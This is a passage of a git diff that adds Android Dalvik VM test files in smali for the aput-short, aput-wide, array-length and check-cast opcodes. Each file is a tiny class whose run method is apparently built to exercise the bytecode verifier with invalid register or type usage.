diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_8.smali
new file mode 100644
index 0000000..fec3a71
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_8.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_8.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SFS)V
+.registers 11
+
+       aput-short v10, v8, v9
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_9.smali
new file mode 100644
index 0000000..0f4f827
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_9.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_9.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SIS)V
+.registers 11
+
+       aput-short v11, v8, v9
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_1.smali
new file mode 100644
index 0000000..baa5c67
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_1.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JIJ)V
+.registers 14
+
+       aput-wide v12, v10, v11
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_10.smali
new file mode 100644
index 0000000..58f46eb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_10.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_10.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JIJ)V
+.registers 14
+
+       aput-wide v14, v10, v11
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_2.smali
new file mode 100644
index 0000000..3870d44
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_2.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DID)V
+.registers 14
+
+       aput-wide v12, v10, v11
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_3.smali
new file mode 100644
index 0000000..c709c96
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_3.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JDJ)V
+.registers 14
+
+       aput-wide v12, v9, v10
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_4.smali
new file mode 100644
index 0000000..5cd755f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_4.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JII)V
+.registers 14
+
+       aput-wide v13, v11, v12
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_5.smali
new file mode 100644
index 0000000..a19c7a5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_5.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;IJ)V
+.registers 14
+
+       aput-wide v12, v10, v11
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_6.smali
new file mode 100644
index 0000000..b6b7d24
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_6.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DIJ)V
+.registers 14
+
+       aput-wide v12, v10, v11
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_7.smali
new file mode 100644
index 0000000..9611ead
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_7.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_7.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([IIJ)V
+.registers 14
+
+       aput-wide v12, v10, v11
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_8.smali
new file mode 100644
index 0000000..89ea753
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_8.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_8.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JIJ)V
+.registers 14
+
+       aput-wide v12, v10, v9
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_9.smali
new file mode 100644
index 0000000..f3fb21f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_9.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_9.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JFJ)V
+.registers 14
+
+       aput-wide v12, v10, v11
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_1.smali
new file mode 100644
index 0000000..5b6b73c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_1.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_array_length_1.java"
+.class  public Ldot/junit/opcodes/array_length/d/T_array_length_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/Object;)I
+.registers 5
+
+       array-length v0, v4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_2.smali
new file mode 100644
index 0000000..a3c5f25
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_2.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_array_length_2.java"
+.class  public Ldot/junit/opcodes/array_length/d/T_array_length_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)I
+.registers 5
+
+       array-length v0, v4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_3.smali
new file mode 100644
index 0000000..16139e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_array_length_3.java"
+.class  public Ldot/junit/opcodes/array_length/d/T_array_length_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)I
+.registers 5
+    
+       const v4, 1234
+       array-length v0, v4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_4.smali
new file mode 100644
index 0000000..a2ef49c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_4.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_array_length_4.java"
+.class  public Ldot/junit/opcodes/array_length/d/T_array_length_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([D)I
+.registers 5
+
+       array-length v0, v4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_5.smali
new file mode 100644
index 0000000..db1ddeb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_array_length_5.java"
+.class  public Ldot/junit/opcodes/array_length/d/T_array_length_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/Object;)V
+.registers 5
+
+       array-length v5, v4
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_1.smali
new file mode 100644
index 0000000..0804480
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_1.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)Ljava/lang/String;
+.registers 5
+
+       check-cast v4, Ljava/lang/String;
+       return-object v4
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_3.smali
new file mode 100644
index 0000000..653c380
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_3.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_3.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+       check-cast v5, Ldot/junit/opcodes/check_cast/TestStubs;
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_4.smali
new file mode 100644
index 0000000..c07365f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_4.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)Ljava/lang/String;
+.registers 5
+
+       check-cast v4, Ljava/lang/String;
+       return-object v4
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_5.smali
new file mode 100644
index 0000000..137c31d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_5.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)V
+.registers 5
+       const v3, 1234
+       check-cast v3, Ljava/lang/String;
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_6.smali
new file mode 100644
index 0000000..c9b616d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_6.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)V
+.registers 5
+
+       check-cast v5, Ljava/lang/String;
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_7.smali
new file mode 100644
index 0000000..70b1066
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_7.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_7.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+       check-cast v5, Ldot/junit/opcodes/check_cast/Test_check_castN;
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_8.smali
new file mode 100644
index 0000000..75c8c92
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_8.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_8.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)V
+.registers 5
+       const-wide v0, 1234
+       check-cast v0, Ljava/lang/String;
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_9.smali
new file mode 100644
index 0000000..e6db942
--- /dev/null
